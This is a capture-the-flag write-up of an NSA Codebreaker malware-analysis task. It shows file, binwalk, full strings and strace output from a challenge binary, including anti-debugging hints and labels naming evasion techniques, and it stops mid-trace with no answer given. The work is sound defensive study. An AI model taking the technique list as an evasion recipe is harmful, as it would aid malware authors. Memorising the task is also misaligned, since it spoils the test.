← Codebreaker writeup

Task 4

Writeup for Task 4 of the NSA Codebreaker Challenge

Challenge

Task 4 - Unpacking Insight - (Malware Analysis)

Once back at NSA the team contacts the NSA liaison at FBI to see if they have any information about what was discovered in the configuration data. FBI informs us that the facility registered to host that domain is on a watchlist for suspected criminal activity. With this tip, the FBI acquires a warrant and raids the location. Inside the facility, the server is discovered along with a suspect. The suspect is known to the FBI as a low-level malware actor. During questioning, they disclose that they are providing a service to host malware for various cybercrime groups, but recently they were contacted by a much more secretive and sophisticated customer. While they don’t appear to know anything about who is paying for the service, they provide the FBI with the malware that was hosted.

Back at NSA, you are provided with a copy of the file. There is a lot of high level interest in uncovering who facilitated this attack. The file appears to be obfuscated.

You are tasked to work on de-obfuscating the file and report back to the team.

Downloads:

Action Items:

  • Submit the file path the malware uses to write a file

We’re now at Task 4, halfway through the challenge.

We’re given a single file this time, aptly named suspicious. Let’s see what it’s all about:

$ file suspicious 
suspicious: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3fc9729b05add2cba0bddd498f66c8b497060343, for GNU/Linux 3.2.0, stripped

Seems like a normal executable binary? I discovered binwalk in the last task, let’s see if it does anything here:

$ binwalk suspicious 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             ELF, 64-bit LSB shared object, AMD x86-64, version 1 (SYSV)
105071        0x19A6F         Copyright string: "Copyright 1995-2024 Jean-loup Gailly and Mark Adler "
108047        0x1A60F         Copyright string: "Copyright 1995-2024 Mark Adler "
111968        0x1B560         CRC32 polynomial table, little endian
115520        0x1C340         CRC32 polynomial table, little endian
124864        0x1E7C0         CRC32 polynomial table, little endian
125888        0x1EBC0         CRC32 polynomial table, little endian

According to the OS Dev Wiki, these polynomial tables are just lookup tables to speed up a program since searching a table is faster than doing the direct mathematical computation. It seems that from 0x00000 to 0x19A6F, we have an ELF.

Let’s look at the strings output:

$ strings suspicious 
/lib64/ld-linux-x86-64.so.2
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
fmaxf
sqrt
fminf
sincos
tanh
powf
_setjmp
__stack_chk_fail
free
fread
dlclose
sigaction
__longjmp_chk
munmap
clock
memmove
strtok
fopen
time
strlen
__memcpy_chk
strstr
ptrace
execve
realloc
getline
malloc
__libc_start_main
__memset_chk
memfd_create
__strcat_chk
mprotect
aligned_alloc
dlsym
dlopen
srand
__cxa_finalize
ftell
calloc
fclose
memset
__snprintf_chk
sigemptyset
memcpy
fwrite
strcmp
fseek
__errno_location
mmap
__strncat_chk
__environ
libm.so.6
libc.so.6
_edata
__data_start
_IO_stdin_used
_end
__bss_start
GLIBC_2.27
GLIBC_2.2.5
GLIBC_2.16
GLIBC_2.11
GLIBC_2.14
GLIBC_2.4
GLIBC_2.34
GLIBC_2.3.4
AVAUATUSH
t$HH
[]A\A]A^A_
D$HL
|$ H
t[Lc
D$0L
L$8H
\$`L
d$hA
L$D1
D$(1
T$ H
4#A9
D$xIc
T$ E
d$DA9
t$XL
D$0L
L$8H
\$`L
d$hM
tQIc
t0A9
D$HH
|$PH
L$8I
t$XI
d$`I
9l$0
D$hL
D$8M
L$(I
T$ f
D9l$0
D$hI
d$`M
|$PL
L$Df
9L$0u
\$HH
PTE1
u+UH
D$(1
D$&L
D$(dH+
[]A\A]
l$&H
AWAVAUATI
D$h1
l$ L
T$hdH+
x[]A\A]A^A_
T$(L
AVAUI
ATUH
D$h1
H+D$
D$(1
H+D$
T$hdH+
x[]A\A]A^A_
T$(M
t^H9
AVAUATUSH
)D$ 
)D$0
)D$@
)D$P
)D$`
)D$p
,"E1
t`F8,
A8,2u
[]A\A]A^A_
AWAVAUATUSL
L$0H
t$ L
t$ L
T$ H
t$@L
t$@L
t$ H
t$ H
t$0I
4$E1
)d$ f
)l$0f
)t$@f
)|$Pf
)\$`f
)d$pf
(D$ fA
(D$0fA
(D$@fA
(D$PfA
(D$`fA
(D$pfA
[]A\A]A^A_
[]A\A]A^A_
AWAVAUATA
D$8H
T$|A
T$tD
L$HMc
|$PH)
L$pH
D$XH)
D$ H
T$`H
D$(H
D$HL
\$hH)
D$0H
D$ f
H9l$
T$`H
|$PL
D$XL
\$hL
T$HD
L$pL
D9L$tt
[]A\A]A^A_
d$8L
AWAVAUATUH
SELECT 
[]A\A]A^A_
AWAVAUATUD
D$8H
|$@?
[]A\A]A^A_
]A\A]A^A_
D$ H
D$PH
)D$0fH
)D$@fH
)D$`
)D$p
o%BB
o=kB
o5oB
o-wB
A       H9
AUATUH
[]A\A]
[]A\A]
AWAVAUATUH
ELFH
[]A\A]A^A_
[]A\A]A^A_
AVAUATI
D$(1
D$(dH+
[]A\A]A^
L$ L
t$ M
v E1
AWAVAUATI
D$(1
D$(dH+
[]A\A]A^A_
L$ L
|$ M
AUATUSH
D$(H
skibbity
D$ H
D$ H
D$(dH+
[]A\A]A^
AUATUSH
D$X1
)D$ f
)D$0f
)D$@H
D$XdH+
[]A\A]
H;:t
AUATUD
[]A\A]A^A_
ATUH
[]A\
ATUSH
[]A\
t&H;8u!
t6H;8u1
AVAULc
ATUS
@w}I
]A\A]A^
t6H;8u1
w&E1
AUATUSH
[]A\A]
k()k A)l$
[]A\A]
AWAVAUATUSH
[]A\A]A^A_
{$D)
}\D)
C(9S
C(9S
AWAVAUA
ATUSH
[]A\A]A^A_
ATUS
[]A\
[]A\A]A^A_
[]A\A]A^A_
:2u"
ATUH
ShfH
t$`H
I+T$
[]A\
ATUS
[]A\
AVAUATUS
)kt)
[]A\A]A^
CP[]A\A]A^
kP[]A\A]A^
AWAVAUA
ATUSH
[]A\A]A^A_
AVAUATUSH
[]A\A]A^
AWAVAUATL
[]A\A]A^A_
[]A\A]A^A_
HcCt
HcCt
AWAVAUATUSH
d$2fE
t$0E1
|$2E
t$ I
~L$4H9
T$0A
D$2f
D$"fD
T$8dH+
H[]A\A]A^A_
~D$$
L$"A
l$ A
D$"fD
CLfD
~D$$D
l$ A
D$"f
A8<0
f+{@D9
HcCt1
AWAVAUA
ATUSH
?v\L
[]A\A]A^A_
?wQD
[]A\A]A^A_
CLD)
?vdH
?v?I
[]A\
[]A\
[]A\
AWAVL
ATUSH
D){LD
[]A\A]A^A_
HcCt1
HcCt1
AWAVAUATA
HcstA
)O H
CXA9
[]A\A]A^A_
;Ctu8
kTA)
AWAVAUATUSH
D$X1
l$4E
d$8H
t$<E
t$@E
D$XdH+
h[]A\A]A^A_
[]A\A]
[]A\A]
[]A\
[]A\A]
[]A\A]
[]A\
H;:t
AWAVAUI
vPH)
e8M)
nC@f
[]A\A]A^A_
[]A\A]A^A_
[]A\A]A^A_
{PH)
|$ L
|$ A
)BpH
H;8t
[]A\
[]A\
H;>t
t0x4
AVfH
AUATUSH
t$$dH
D$XH
D$ M
4$-4?
j\E1
A9VH
tJf.
T$(L
T$(A
A+J 
|$ E
D$XdH+
[]A\A]A^A_
F(L9
T$8H
L$0H
T$(I
\$(f
t$()
L$0D9
D$(A
D$0H
T$0L
T$HL
\$@L
T$HL
\$@L
L$(A
T$0I
T$0L
t$TL
T$0L
\$(fD
\$(I
D$(9
t$0)
F L9
;x@s
T$@L
T$@L
T$(I
T$0D9
D$(D
T$0D
D$(I
;x0s
T$@L
T$@L
T$(I
T$0A
T$8D
D$(H
\$0D
D$(A
D$0L!
\$@L
\$0L
t$0L
t$8D
|$8D
\$@L
t$0D
|$(D)
T$0L
\$(L
\$@L
t$0D
|$8)
T$@L
\$8L
T$@L
L$(I
T$0L
\$(D
T$0L
T$0L
\$(fD
l$TE1
T$0I
L$(H
\$8D
\$(L
t$@L
t$HD
|$HD
\$8L
t$@D
L$0I
L$()
T$0L
\$(f
\$(L
T$0A
\$8L
t$@D
|$H)
T$HL
\$@L
L$8H
L$0H
t$(H
L$8L
\$@L
T$0L
\$(fD
T$0L
T$0I
\$(H
\$(L
toSH
H;9t
ATUSH
D$HA
[]A\A]
t$LH
T$LA
D$HI
t$PH)
AWAVA
AUATUSH
t3=>?
I9D$ t
[]A\A]A^A_
t6H;8u1
ATUSH
[]A\
H;:t
AUATUSH
T$pH
r)fH
D$xf
)EpI
t$PH
T$@H
[]A\A]
H;:t
H;:t
HcB8H
AUATUSH
)D$`
)D$p
T$bA
L$dH
\$bf
T$(L
|$0P
\$Nv
\$ H
[]A\A]A^A_
|$04
D$0L
\$PA
D$OH
\$81
|$XD
D$HH
t$(D
L$4!
||`)
\$@A
|$0P
\$PH
D$0H
\$8H
\$ H
D#GHfB
#zHH
AWLc
AVAUATUSD
r@tN
[]A\A]A^A_
t.fD9
svHc
s2Hc
t<A9
w*fA
u*E1
AWHc
ATUH
}       E9
A\A]
A^A_
?vII
AVAUATUS
A\A]H
A^A_
D$(1
tGHc
D$(dH+
AWAVAUATUSH
t$(M
T$ H
4$D)
[]A\A]A^A_
[]A\A]A^A_
[]A\A]A^A_
u4fA
?vxH
toM9
AUATUS
D$(H
T$(dH+
8[]A\A]A^A_
AWAVAUATUH
T$T)
D$@A
GHH)
\$0H
D$PA
t$HE
L$,E
t$<A
D$,f
t$XD
t$ H
[]A\A]A^A_
 uTH
t$ A
\$ A
E;BX
9T$P
t$HD)
D$ D
D$`H
D$@H
L$ H
T$ H
T$xL
\$pD
D$hD
T$xL
\$pD
D$hD
L$ H
t$XH
w2E9
L$@D
T$XL
\$ L
T$XH
L$<D
L$@H
T$XL
\$ L
T$XH
t$8H
L$H)
L$@H
T$@H
L$ H
T$hL
\$`D
D$XD
T$8D
L$ D
D$XH
\$`L
T$XD
\$ H
\$ L
T$XH
t$HH
L$@H
T$ L
T$pL
\$hD
T$`H
L$@H
\$hL
T$pH
T$XL
T$XL
\$ L
T$XH
D$ H
T$8H
R`AUATUS
BfA9
]A\A]A^A_
BfA9
BfA9
]A\A]A^A_
fC9,
BfA9
AWAVAUATU
D$,E
D$ K
L$*A
L$PA
\$HD
|$0I
D$*D
T$8D
T$@L
L$PD
|$0f9
|$*M
,if9
[]A\A]A^A_
,if9
fA;4
,if9
D$*1
<yfD9
9D$0s
L$\1
T$PI
T$HL
L$8D
\$@D
L$\fD9
CLA9
T$ I;
4$A9
4$D)
D9t$,
d$XE9
,Af9
T$ A9
T$ fA9
D$PH
D$8H
D$8H
D$0L
|$8H
t$0K
$$I)
toM9
AWAVAUATUH
T$T)
D$@A
GHH)
\$0H
D$PA
t$HE
L$,E
t$<A
D$,f
t$XD
t$ H
[]A\A]A^A_
 uTH
t$ A
\$ A
E;BX
9T$P
t$HD)
D$ D
D$`H
D$@H
L$ H
T$ H
T$xL
\$pD
D$hD
T$xL
\$pD
D$hD
L$ H
t$XH
w2E9
L$@D
T$XL
\$ L
T$XH
L$<D
L$@H
T$XL
\$ L
T$XH
t$8H
L$H)
L$@H
T$@H
L$ H
T$hL
\$`D
D$XD
T$8D
L$ D
D$XH
\$`L
T$XD
\$ H
\$ L
T$XH
t$HH
L$@H
T$ L
T$pL
\$hD
T$`H
L$@H
\$hL
T$pH
T$XL
T$XL
\$ L
T$XH
D$ H
T$8H
o-do
o%Lo
o=*o
)!fA
AUATUH
o_ f
)L$P
)d$`
)\$p
[]A\A]A^
od$pf
o\$`f
oT$Pf
o{ f
os0H
)L$PA
)D$`
)|$p
oL$`f
o|$pf
o\$P
)|$Pf
)|$`f
)T$pM
)d$Pf
)\$`f
)T$p
L$pH
T$`L
t$PL
L$pH
T$`L
t$PL
o|$Pf
ot$`
o|$p
oT$Pf
o|$`f
ot$pf
)|$Pf
)t$`
)|$p
o<$fA
oT$pf
o\$`f
od$Pf
)t$p
)d$P
)D$`
)T$@
)\$0
)d$ 
o,$f
od$ f
o\$0f
oT$@
o5}f
)d$Pf
)\$`
)T$pf
D$h1
)D$@f
)4$f
)D$P
)t$ 
)l$0H
D$hdH+
p[]A\A]A^
o\$ H
oT$0f
op H
)\$ 
)T$0H
o4$f
ot$ A
ol$0A
t$ A
L$ H
L$@H
D$0H
)D$@
t$PH
ol$P
)l$@
ot$@
)t$P
L$ H
ol$ 
)4$f
ot$0f
)t$ 
)D$0
od$ fA
o$$f
)T$ f
o|$0
)L$0
ot$ H
)4$f
ot$0
)L$0
)T$ 
D$PH
D$H1
T$HdH+
)D$ 
)D$0
@ H9
tpM9
D$81
T$8dH+
AWAVAUATI
D$xA
D$ D
L$,)
D$8A
GHH)
t$pI
D$@A
D$PH
t$0I
t$DH
D$hA
|$`L
d$XM
D$TA
|$`L
d$XH
D$0D
\$xA
D$pH9
D$ E
[A\A]A^A_]
D$xI9
D$pH9
|$`L
|$`L
 uRH
D$0H
D$p)
T$x)
t$HA
D$`D;xX
9T$@
t$0D)
L$DA
D$ E
D$8I
t$ H
w5E9
L$8D
\$ D
L$8H
\$ A
t$PL
D$0)
D$8I
T$PH
L$ L
\$ A
t$0H
|$8D
|$`L
d$XH
T$PL
AWAVAUATSH
CfA9
[A\A]A^A_]
CfA9
fD;$
CfA9
D9d$
CfA9
T" D
AWAVAUATA
D$4E
D$8K
D$@K
D$HD;
t$ZA
T$\A
T$\E1
T$(I
pfD9
D$ZL
L$$D
\$ L
H)t$HI)
D$ZM
|$HA
L$\H
|$@A
I9<7
t$PE!
$ffD9
[A\A]A^A_]
|$@A
A9<7t&
t$PE!
$ffD9
L$8A9
L$\f
D$HI
~oL6
~oT6"
tD7 
|$\A9
|$\D)
D9|$4
l$0E9
|$@D
l$\M
|$PA
$wfD9
|$@A
fA;<7t,
t$PE!
$ffD9
L$8fA9
CLA9
L$8I;
T$(1
T$PA
<4D!
<zfD9
9D$Hs
T$(D
\$$M
L$(A
L$ D
D$\D
T$HA
D$ZA
l$\I)
|$HK
o%im
o5}m
bq}Ho
Ho=6h
bq}Ho
ttM9
D$81
T$8dH+
AWAVI
AUATSH
D$xA
D$0)
D$@A
CHH)
t$pI
D$4A
D$XH
t$8I
t$,H
D$hA
t$`M
D$HD
t$`H
D$xM
D$pH9
[A\A]A^A_]
D$xI9
D$pH9
 uOH
D$p)
D$xD)
9T$4
t$8)
D$@L
L$(H9
L$(H
t$HH
D$@L
\$HH)
A;KX
D$@L
\$HH)
\$HA
t$X)
t$0A
t$8H
T$@L
L$(H)
L$HH9
T$XA
L$(H
t$8H
\$HD
\$ H
L$@D
T$(H
L$@H
\$ A
T$XH
t$`H
bq}Ho
}Ho=w]
Ho(b
o=u[
AWAVAUI
[A\A]A^A_]
T$`H
L$pL
t$PL
oL$PH
od$`
o\$p
Ho-E\
bs}HD
bsEHD
bsMHD
bsUHD
%H%`
5H%X
=H%P
D$Pb
}H9D$
}H9D$
}H9D$
od$pL
o\$`
oT$P
L$PH
D$`I
|$pM
oD$`
ot$p
oT$P
L$pM
o|$P
ot$`
o|$p
L$pH
T$`H
t$PL
bQ}H
ot$`
oL$P
ot$p
oT$p
oT$`
oT$P
you L
o5fV
oL$0
ol$@
od$ 
AWAVI
D$x1
|$0H
D$xdH+
[A\A]A^A_]
oT$0L
oL$@
o\$ I
yoB 
\$ H
L$@I
/wWH
o|$0
ot$@
ol$ 
od$0H
od$ 
o|$@
|$`H
o|$`H
ol$P
T$`A
L$0H
T$ H
L$0H
T$ H
L$PL
D$@L)
}H8D$
}H8D$
}H8D$
bsEHD
bsMHD
bsUHD
bs}HD
}H9D$
}H9D$
}H9D$
ol$ I
ot$0
o|$@
o%XO
oD$ H
ot$@
ol$0
D$`I
T$`A
oG b
oG0b
D$H1
T$HdH+
ATUSH
]A\A]H
ATUH
[]A\A]
AVAUATUSH
L36H
I3A E
A\A]A^A_
D$@H
[]A\A]
temp_users
sudoers
Username=root
UTF-8
/proc/self/status
TracerPid
 FROM 
 WHERE 
%s%d
unknown header flags set
unknown compression method
incorrect header check
invalid window size
header crc mismatch
invalid block type
invalid stored block lengths
invalid code lengths set
invalid literal/lengths set
invalid distances set
invalid literal/length code
invalid distance code
invalid distance too far back
incorrect data check
incorrect length check
invalid bit length repeat
2.2.4
need dictionary
stream end
file error
stream error
data error
insufficient memory
buffer error
incompatible version
67b2d9e3
|?5^
a7b3c9d2e8f15a4cO^
mrbeast_really_said_lets_give_random_people_skibidi_toilet_merchandise_for_free
speed_running_through_ohio_while_the_skibidi_toilet_song_plays_oplays_on_repeat
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
skibidi_toilet_ohio_rizz_gyatt_sigma_male_grindset_mewing_streak
ALPHA_MIXED_SHELLCODE_ENCODER_X86_64
MSFVENOM_SHIKATA_GA_NAI_POLYMORPHIC
CUSTOM_XOR_ENCODER_RANDOM_KEY_ROTATION
BASE64_GZIP_DUAL_LAYER_OBFUSCATION
ASSEMBLY_NOP_SLED_INSTRUCTION_PADDING
ANTIVIRUS_HEURISTIC_ANALYSIS_BYPASS
YARA_RULE_SIGNATURE_EVASION_ACTIVE
BEHAVIORAL_SANDBOX_DELAY_INJECTION
STATIC_ANALYSIS_STRING_OBFUSCATION
DYNAMIC_ANALYSIS_API_HOOKING_EVASION
PTRACE_PROCESS_INJECTION_SYSCALL
LD_PRELOAD_SHARED_LIBRARY_INJECTION
PROC_MEM_DIRECT_MEMORY_MANIPULATION
SIGNAL_HANDLER_CODE_INJECTION_VECTOR
MMAP_ANONYMOUS_EXECUTABLE_MEMORY_MAP
UNIX_PAYLOAD_ENCODING_COMPLETE
ENCODER: %s
EVASION: %s
INJECTION: %s
PAYLOAD_SIZE: %zu_BYTES
OBFUSCATION_PASSES: %d
too many length or distance symbols
invalid code -- missing end-of-block
 deflate 1.3.1 Copyright 1995-2024 Jean-loup Gailly and Mark Adler 
 inflate 1.3.1 Copyright 1995-2024 Mark Adler 

 zlib-ng 2.2.4
 n;^
Qkkbal
i]Wb
9a&g
MGiI
wn>Jj
#.zf
+o*7
@?>=<;:9876543210/.-,+*)('&%$#"! 
@?>=<;:9876543210/.-,+*)('&%$#"! 
 n;^
Qkkbal
i]Wb
9a&g
MGiI
wn>Jj
#.zf
+o*7
ayUW
!@f$f
Q       7R
>K"a
RwR(
dbk]
&hG%
A'z*
Wll"
"\RW
,^mg
=xL:
y>X,7 l
gkKr{
eT{.n
FXuM
!t+ o
Vwr8
H5DHC
&Dq3hZE
f-a?
Ah/^
LK$TG
cYR
PE't
'V u
c)v3
p.wD\
MuH *u
^rIWr
Ck{J
|so3
4x|K
Sh<P
@o=''o
3uf>
Dfa?
(MqO
):bH
.0AJc
\=oR
]J|U
)=[?d
`?aZ
i24~
w       Y9
9JWn
rev5
,\bA
sSiB
UYWr1
4GCI
H6#P
Z[,RA
C']2
7;)x
{=T)
]MUz
U[>/
t)Ko
-&Sb
}ES`
}mM1dS
lGLZ{
>(G9'
}TlC~
vlRn
7lAg
](E 
IEin$s8
0H{]
!Z%F3lKpb
bsS 8
O$@?k~
ka)QO
eN4z
H/63
gMnxg{?
,G)(
(i.G
A*\%
GjtEc
LMc
 n;^
Qkkbal
i]Wb
9a&g
MGiI
wn>Jj
#.zf
+o*7
 n;^
Qkkbal
i]Wb
9a&g
MGiI
wn>Jj
#.zf
+o*7
9*3$"
Yo yo yo, no cap fr fr, walking into that Monday morning standup had me feeling like the Ohio final boss in some skibidi toilet code review gone wrong. The tech lead really pulled up and said "we need to refactor this legacy codebase" while I'm sitting there mewing with maximum gyatt energy, trying not to griddy dance because this man thinks he's got that 10x engineer sigma grindset but he's serving major junior dev beta vibes, only in Ohio would someone push directly to main bruh. Meanwhile, Sarah from DevOps is straight up rizzing the life out of these CI/CD pipelines with her Docker configurations that hit different - homegirl got that skibidi bop bop deployment game, we absolutely stan a productive queen who's mewing her way through Kubernetes manifests like she's Duke Dennis teaching container orchestration. The whole team was lowkey fanum taxing each other's GitHub commits while griddy dancing around these sprint deadlines, but honestly? This tech stack is absolutely bussin bussin no cap, we're all feeling more blessed than Baby Gronk getting his first pull request merged by Livvy Dunne. When the product manager announced we're switching to TypeScript, the collective gyatt energy in that war room was giving unmatched Ohio vibes, like we just witnessed the skibidi toilet of programming languages compile in real time. Touch grass? Nah bestie, we're touching keyboards and living our most sigma developer life while the impostor among us pretends to understand Big O notation. This sprint planning was straight up giving main character energy but make it full-stack, periodt no printer detected, skibidi bop bop npm install yes yes.
dYM(
9r{=
QVS<
`(I-
]@ht
w\/#
:$7G
K{V6\b
i[h{
}F"/
+y*+
)jG$
S:4+_
s*,{
PM*o
Hk$$
10aT
$*db    %n
Pud7
VQ@\
X8lV
5 ME;
fUa%?o
yt|qor
k8,Q
k2dq
 &7x
\IVM
%9(&
,dBE
@ef`
ue9HNi
_<E~
8~d48(
\;Z?
Pf5q
Y]o@
;&AME
!<W#]
UiF)
b<HR
OfGd^
4#.YZ+
I$9:
yHC%[
Tx_M
;Ylz
##_a7%
!_z*0
i_}0 
4d;p
+_AVS
-g~S
P`Gs
3jZv
2ONz
(jjh
&pyA
:sU,
ci}F
t'~z
puTf
CQm#
[>q=
Us']
.c,m
@]]A$
#._4
|Eht#F3
lG7^
`~Ih
a.8-
t:I@
Yh"7
?q,w
ko'n
G})=@H
8Gup
H       FJ
|:Gl
':a9t
z>Q0CkY
)zW{
:m[<?7<
'fQtaL
|PUff
[4>Nj
RcZ\
q#+v
{H=#
Oq]b\
aqp0
`2wF
>83R
=A+<
"7?Zo
i\Wg
Ahk$
r13P_
rixk
gv"cJ
Jr7Q
MAk ?f
VtP2dC=
J|L~S
a8)~
#C06
N8om
rn)~
(47}
'#,L
xOsbz
<XrE=
]IyQ
Ly__
'7e6
O{t)
G("     V
D'|`4
kwpSo
8YnT%
w:t4
\U^TT
4Dsy
v)!H7N
9O#jB
 ]2,
\x:z
UBV!
Cqcu
ow8j3
5>?<
XeGk
K>j*
>6nXt
Sy`^$
G1M%&)l
#Ifm
`ba_
5LoG#)b
eG Ce
FSRS
nK^)x
&{A{
5fPk
%\8T
hUA@z
'S~L
%Z -?
$5|~fa
]z?$
|Bz\
TRg5
Bh6)
x^xt
v=:"
&:~B
        -/,
F}0#IE
        3<pM
%{q#
F)gp(
$.|w(
TJqs
V^*`
+%%-
K01C
<D}"
M>?m_$
GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.data.rel.ro
.dynamic
.data
.bss_secure_buffer
.init.checksum.validation
.init.constructors.global
.bss
.comment

A lot of it is normal Linux stuff, with a surprising amount of mathematical methods in there and… did you, dearest reader, catch that one?

Hmmm...

Yo yo yo, no cap fr fr, walking into that Monday morning standup had me feeling like the Ohio final boss in some skibidi toilet code review gone wrong. The tech lead really pulled up and said "we need to refactor this legacy codebase" while I'm sitting there mewing with maximum gyatt energy, trying not to griddy dance because this man thinks he's got that 10x engineer sigma grindset but he's serving major junior dev beta vibes, only in Ohio would someone push directly to main bruh. Meanwhile, Sarah from DevOps is straight up rizzing the life out of these CI/CD pipelines with her Docker configurations that hit different - homegirl got that skibidi bop bop deployment game, we absolutely stan a productive queen who's mewing her way through Kubernetes manifests like she's Duke Dennis teaching container orchestration. The whole team was lowkey fanum taxing each other's GitHub commits while griddy dancing around these sprint deadlines, but honestly? This tech stack is absolutely bussin bussin no cap, we're all feeling more blessed than Baby Gronk getting his first pull request merged by Livvy Dunne. When the product manager announced we're switching to TypeScript, the collective gyatt energy in that war room was giving unmatched Ohio vibes, like we just witnessed the skibidi toilet of programming languages compile in real time. Touch grass? Nah bestie, we're touching keyboards and living our most sigma developer life while the impostor among us pretends to understand Big O notation. This sprint planning was straight up giving main character energy but make it full-stack, periodt no printer detected, skibidi bop bop npm install yes yes.

zawg.

Alright how did an intern (presumably) convince Codebreaker upper management to let that through? Must've been the funniest internal meeting.

incompatible version
67b2d9e3
|?5^
a7b3c9d2e8f15a4cO^
mrbeast_really_said_lets_give_random_people_skibidi_toilet_merchandise_for_free
speed_running_through_ohio_while_the_skibidi_toilet_song_plays_oplays_on_repeat
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
skibidi_toilet_ohio_rizz_gyatt_sigma_male_grindset_mewing_streak
ALPHA_MIXED_SHELLCODE_ENCODER_X86_64
MSFVENOM_SHIKATA_GA_NAI_POLYMORPHIC
CUSTOM_XOR_ENCODER_RANDOM_KEY_ROTATION
BASE64_GZIP_DUAL_LAYER_OBFUSCATION
ASSEMBLY_NOP_SLED_INSTRUCTION_PADDING
ANTIVIRUS_HEURISTIC_ANALYSIS_BYPASS
YARA_RULE_SIGNATURE_EVASION_ACTIVE
BEHAVIORAL_SANDBOX_DELAY_INJECTION
STATIC_ANALYSIS_STRING_OBFUSCATION
DYNAMIC_ANALYSIS_API_HOOKING_EVASION
PTRACE_PROCESS_INJECTION_SYSCALL
LD_PRELOAD_SHARED_LIBRARY_INJECTION
PROC_MEM_DIRECT_MEMORY_MANIPULATION
SIGNAL_HANDLER_CODE_INJECTION_VECTOR
MMAP_ANONYMOUS_EXECUTABLE_MEMORY_MAP
UNIX_PAYLOAD_ENCODING_COMPLETE

Some of these are not like the others...

Alright… moving on…

Let’s try running the binary and seeing if that works this time, since task 3 just broke entirely.

sean@Sean-Linux:~/Task4$ ./suspicious 
sean@Sean-Linux:~/Task4$ 

No output whatsoever, it seems. Let’s see what’s going on underneath, using a tool I remember learning about from the very class I used to tutor: strace. Strace is very useful here as it allows us to view the underlying system calls that the binary makes.

$ strace ./suspicious 
execve("./suspicious", ["./suspicious"], 0x7ffc04940180 /* 93 vars */) = 0
brk(NULL)                               = 0x55ebc4365000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=139691, ...}) = 0
mmap(NULL, 139691, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fe8a6bac000
close(3)                                = 0
openat(AT_FDCWD, "/lib64/libm.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\0\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1153848, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fe8a6baa000
mmap(NULL, 1138704, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fe8a6a93000
mmap(0x7fe8a6b22000, 548864, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x8f000) = 0x7fe8a6b22000
mmap(0x7fe8a6ba8000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x114000) = 0x7fe8a6ba8000
close(3)                                = 0
openat(AT_FDCWD, "/lib64/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\2408\0\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
fstat(3, {st_mode=S_IFREG|0755, st_size=2482096, ...}) = 0
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
mmap(NULL, 2067312, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fe8a689a000
mmap(0x7fe8a6a0c000, 495616, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x172000) = 0x7fe8a6a0c000
mmap(0x7fe8a6a85000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1eb000) = 0x7fe8a6a85000
mmap(0x7fe8a6a8b000, 31600, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fe8a6a8b000
close(3)                                = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fe8a6897000
arch_prctl(ARCH_SET_FS, 0x7fe8a6897740) = 0
set_tid_address(0x7fe8a6897d68)         = 519701
set_robust_list(0x7fe8a6897a20, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
mprotect(0x7fe8a6a85000, 16384, PROT_READ) = 0
mprotect(0x7fe8a6ba8000, 4096, PROT_READ) = 0
mprotect(0x55eb9d2fb000, 4096, PROT_READ) = 0
mprotect(0x7fe8a6c0d000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
getrandom("\x84\x92\x20\x7f\xc2\xff\x62\x94", 8, GRND_NONBLOCK) = 8
munmap(0x7fe8a6bac000, 139691)          = 0
